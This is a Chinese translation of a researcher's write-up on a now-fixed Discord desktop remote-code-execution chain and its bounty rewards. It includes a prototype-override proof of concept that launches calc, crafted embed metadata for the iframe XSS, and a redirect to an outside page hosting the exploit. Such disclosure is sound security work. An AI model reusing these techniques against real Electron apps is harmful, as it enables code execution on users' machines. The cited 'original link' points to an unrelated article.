查看原文
其他

详述 Discord Desktop app RCE 挖洞经过,最后得$5000 + $300 (含 PoC 视频)

Masato Kinugawa 代码卫士 2022-04-06

 聚焦源代码安全,网罗国内外最新资讯!

编译:奇安信代码卫士团队




几个月前,我在 Discord 桌面应用中发现了一个远程代码执行漏洞,并把漏洞报告提交给 Discord 公司的漏洞奖励计划。这个 RCE 漏洞很有意思,因为它是通过结合多个 bug实现的。如下是挖洞详情。

为何选择 Discord
我喜欢挖掘 Electron app 中的漏洞,所以我就搜索相关的漏洞奖励计划并找到了 Discord。另外我是 Discord 的用户,单纯想查看下它是否安全,于是决定展开调查。
我发现的bug
我找到了如下三个 bug 并结合它们实现了 RCE:1、contextIsolation 缺失2、iframe 嵌入中的 XSS3、导航限制绕过 (CVE-2020-15174)以下我将详述这些漏洞。
ContextIsolation 缺失
测试 Electron app 时,我首先会查看 BrowserWindow API (用于创建浏览器窗口)的选项。在查看的过程中,我在思考如果能够在渲染器上执行任意 JavaScript,那么如何才能实现 RCE。Discord 的 Electron app 并非开源项目,但 Electron 的 JavaScript 代码以 asar 格式存储在本地,只需提取即可读取它。在主窗口中,我发现使用了如下选项:
const mainWindowOptions = { title: 'Discord', backgroundColor: getBackgroundColor(), width: DEFAULT_WIDTH, height: DEFAULT_HEIGHT, minWidth: MIN_WIDTH, minHeight: MIN_HEIGHT, transparent: false, frame: false, resizable: true, show: isVisible, webPreferences: { blinkFeatures: 'EnumerateDevices,AudioOutputDevices', nodeIntegration: false, preload: _path2.default.join(__dirname, 'mainScreenPreload.js'), nativeWindowOpen: true, enableRemoteModule: false, spellcheck: true }};
我们应该查看的重要选项是 nodeIntegration 和 contextIsolation。从以上代码可知, nodeIntegration 选项被设置为 false,而 contextIsolation 选项也被设置为false,而在 Discord 的主窗口中,contextIsolation 选项被设为 false(所使用版本的默认设置)。如果 nodeIntegration 被设置为 true,那么只需通过调用 require(),网页的 JavaScript 即可轻松使用 Node.js 功能。例如,在 Windows 上执行 calc 应用的方法是:
<script> require('child_process').exec('calc');</script>
此时,nodeIntegration 被设为 false,因此我无法直接通过调用 require() 来使用 Node.js 功能。不过,我们仍然有可能访问 Node.js 功能。而另外一个重要选项 contextIsolation 被设为 false。如果想要消除在 app 上实现 RCE 的可能性,则不应该将选项设为 false。如禁用 contextIsolation,则网页的 JavaScript 可影响在渲染器中执行 Electron 的内部 JavaScript 代码和预载脚本(以下将这些 JavaScript 称为网页外的 JavaScript 代码)。例如,如果通过网页 JavaScript 的另外一个函数覆写 Array.prototype.join(JavaScript 内置方法之一),则网页外的 JavaScript 代码也会在调用 join 时使用被覆写的这个函数。这种行为很危险,因为不管 nodeIntegration 选项是否禁用,Electron 允许网页外 JavaScript 代码使用 Node.js 功能。通过 Web 页面中覆写的功能进行干扰,即使将 nodeIntegration 设为 false,也有可能实现 RCE。顺便提一下,此前并未出现这类技巧。2016年当我还在 Cure53 时我们在一次渗透测试中发现了它。之后我们将其告知 Electron 团队,后者才推出了 contextIsolationn选项。最近,这份渗透测试报告也得以推出。具体可见:https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view。contextIsolation在Web 页面和 Web 页面外 JavaScript 代码之间引入了分离的上下文,因此,每个代码的 JavaScript 执行不会彼此影响。这是消除实现 RCE 可能性的必要功能,但这次 Discord 将其禁用。发现 contextIsolation 遭禁用后,我开始查找可以通过在 Web 页面外干涉 JavaScript 代码执行任意代码的地方。通常,当我在 Electron 渗透测试过程中创建 RCE 漏洞的PoC 时,首先会尝试使用Electron在渲染器上的内部 JavaScript 代码来实现 RCE。这是因为 Electron 的内部 JavaScript 代码可以在任意 Electron app 中执行,因此我可以复用相同的代码实现 RCE,而且很容易实现。之前我介绍了可以通过使用 Electron 在导航时间执行的代码来实现 RCE。我们不仅可能从该代码中获得代码,而且在某些地方也有这样的代码(后续我将发布 PoC 代码示例)。然而,根据 Electron 使用的版本,或者是所设置的 BrowserWindow 选项,因为代码已被修改或者受影响代码无法正确获取,因此通过 Electron 代码实现的 PoC 并不能很好地运行。此时,它不起作用,因此我决定将目标改为预装脚本。在检查预装脚本时,我发现 Discord 暴露了该函数,可通过 DiscordNative.nativeModules.requireModule('MODULE-NAME') 将受允许的模块调用到 Web 页面中。我虽然无法使用可直接实现 RCE 的模块如 child_process 模块,但我发现可覆写 JavaScript 内置方法并干扰被暴露模块的执行实现 RCE 的代码。如下是 PoC。我能够证实当调用在 devTools的模块 “discord_utils” 中定义的 getGPUDriverVersions 函数时会弹出calc应用程序,同时覆写 RegExp.prototype.test 和 Array.prototype.join。
RegExp.prototype.test=function(){ return false;}Array.prototype.join=function(){ return "calc";}DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
getGPUDriverVersion 函数试图通过使用 “execa” 库(如下)执行该程序:
module.exports.getGPUDriverVersions = async () => { if (process.platform !== 'win32') { return {}; }
const result = {}; const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
try { result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, [])); } catch (e) { result.nvidia = {error: e.toString()}; }
return result;};
通常,execa 试图执行变量 nvidiaSmipath 中指定的 “nvidia-smil.exe”,然而,由于被覆写的 RegExp.prototype.test 和 Array.prototype.join,在 execa 的内部处理中,该参数被替换为 “calc”。具体而言,通过修改如下两部分,该参数被替换。
  • https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

  • https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

接下来的工作就是找到在该应用程序上执行 JavaScript 的方法。如果能找到,则会导致真正的 RCE。
iframe 内嵌中的 XSS 漏洞
如上,我发现可以通过任意 JavaScript 执行实现RCE,因此我尝试找出一个 XSS 漏洞。该 app 支持自动链接或 Markdown 功能,但它看起来并不存在问题。因此我将注意力转向 iframe 内嵌功能。例如,当粘贴 YouTube URL 时,iframe 内嵌功能会自动在聊天中显示视频播放器。当粘贴 URL 时,Discord 尝试获取该 URL 的 OGP 信息,而且如果存在 OGP 信息,它就会在聊天中显示该页面的主题、描述、缩略图、相关视频等。Discrod 从 OGP 中提取视频 URL,而且只有当视频 URL 是被允许的域名,而该 URL 具有内嵌页面的 URL 格式,该 URL 才会被内嵌到 iframe 中。由于无法找到关于如何在 iframe 中嵌入服务的文档,因此我尝试通过检查 CSP 的 frame-src 指令来获得线索。当时我使用了如下 CSP:
Content-Security-Policy: [...] ; frame-src https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com
显然,其中一些内容是为了允许 iframe 内嵌(如 YouTube、Twitch、Spotify)。我试图查看能否通过将域名一个一个地指定到 OGP 信息的方法嵌入到 iframe,并且试图找到嵌入式域名中的 XSS。经过一些尝试后,我发现 CSP 中所列的域名之一 sketchfab.com 可被嵌入到 iframe 中并且在内嵌页面中找到了 XSS。当时我对 Sketchfab 一无所知的,但似乎用户可借此平台发布、购买并出售 3D 模型。该 3D 模型的脚注中存在一个简单的基于 DOM 的 XSS。如下是 PoC,它含有构造的 OGP。当我将这个 URL 粘贴到聊天中时,Sketchfab 被嵌入聊天的 iframe 中。对 iframe 点击几次后,任意 JavaScript 被执行。
<head> <meta charset="utf-8"> <meta property="og:title" content="RCE DEMO"> [...] <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed"> <meta property="og:video:type" content="text/html"> <meta property="og:video:width" content="1280"> <meta property="og:video:height" content="720"></head>
就这样,我最终找到了一个 XSS,但 JavaScript 仍然可在 iframe 上执行。由于 Electron 并不会将 “网页外的JavaScript 代码“加载到 iframe 中,因此即使我在 iframe 中覆写了 JavaScript 内置方法,我仍然无法干涉 Node.js 的关键内容。为实现 RCE,我们需要跳出 iframe 并在上层浏览上下文中执行 JavaScript。这就要求我们从 iframe 中打开一个新窗口,或者将上层窗口从 iframe 中导航到另一个 URL。我检查了相关代码并发现限制导航的代码,通过使用主进程代码中的 “new-window” 和 “will-navigate” 事件即可。
mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => { e.preventDefault(); if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) { popoutWindows.openOrFocusWindow(e, windowURL, frameName, options); } else { _electron.shell.openExternal(windowURL); }});[...]mainWindow.webContents.on('will-navigate', (evt, url) => { if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) { evt.preventDefault(); }});
我以为该代码可正确地阻止用户打开新窗口或者导航上层窗口。然而,我发现了异常行为。
导航限制绕过 (CVE-2020-15174)
虽然我认为该代码没有问题,但仍然尝试检查 iframe 中的上层导航被拦截。然而,令人惊讶的是,出于某种原因,导航竟然未被拦截。我希望在导航发生前且遭 preventDefault() 拒绝前,“will-navigate” 事件会被发现,然而并非如此。为测试这种行为,我构造了一个小型的 Electron app。我发现出于某种原因, “will-navigate” 事件并未从 iframe 开始的上层导航释放。确切地讲,如果上层的来源和iframe的来源是同源,则事件会释放;但如果它们是不同源,则事件不会释放。我认为发生这种行为是不合理的,因此我认为这是一个 bug,于是决定之后向 Electron 团队报告。由于这个 bug 的存在,我绕过了导航限制。我做的最后一件事应该是使用 iframe 的 XSS 导航到包含 RCE 代码的页面,如 top.location="//l0.cm/discord_calc.html"。就这样,通过结合利用三个 bug,我实现了 RCE。如下视频所演示:


写在最后
我将这些问题提交给 Discord 的漏洞奖励计划。首先,Discord 团队禁用了 Sketchfab 内嵌,并通过将 sandbox 属性添加到 iframe 的应变措施阻止从 iframe 导航。之后,启用了 contextIsolation。目前,即使我能够在该 app 上执行任意 JavaScript,也无法通过覆写的 JavaScript 内置方法实现 RCE。为此,我获得5000美元的奖金。Sketchfab 上的 XSS 漏洞报告提交给 Sketchfab 的漏洞奖励计划,该公司的开发人员迅速修复问题。我因此获得300美元的奖励。“will-navigate” 事件中的 bug 提交给了 Electron 的安全团队,现已修复且漏洞编号为 CVE-2020-15174。个人而言,我喜欢外部页面的 bug 或 Electron 的bug,它和 app 本身的实现无关,但可导致 RCE。希望阅读本文后,可使 Electron 应用更安全。感谢阅读!

推荐阅读
Npm 恶意包试图窃取 Discord 敏感信息和浏览器文件
Hacker Plus:Facebook 推出漏洞奖励 “忠诚计划”




原文链接
https://www.zdnet.com/article/microsoft-releases-emergency-security-updates-for-windows-and-visual-studio/



题图:Pixabay License
文内图:bleepingcomputer

本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

    觉得不错,就点个 “在看” 吧~

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存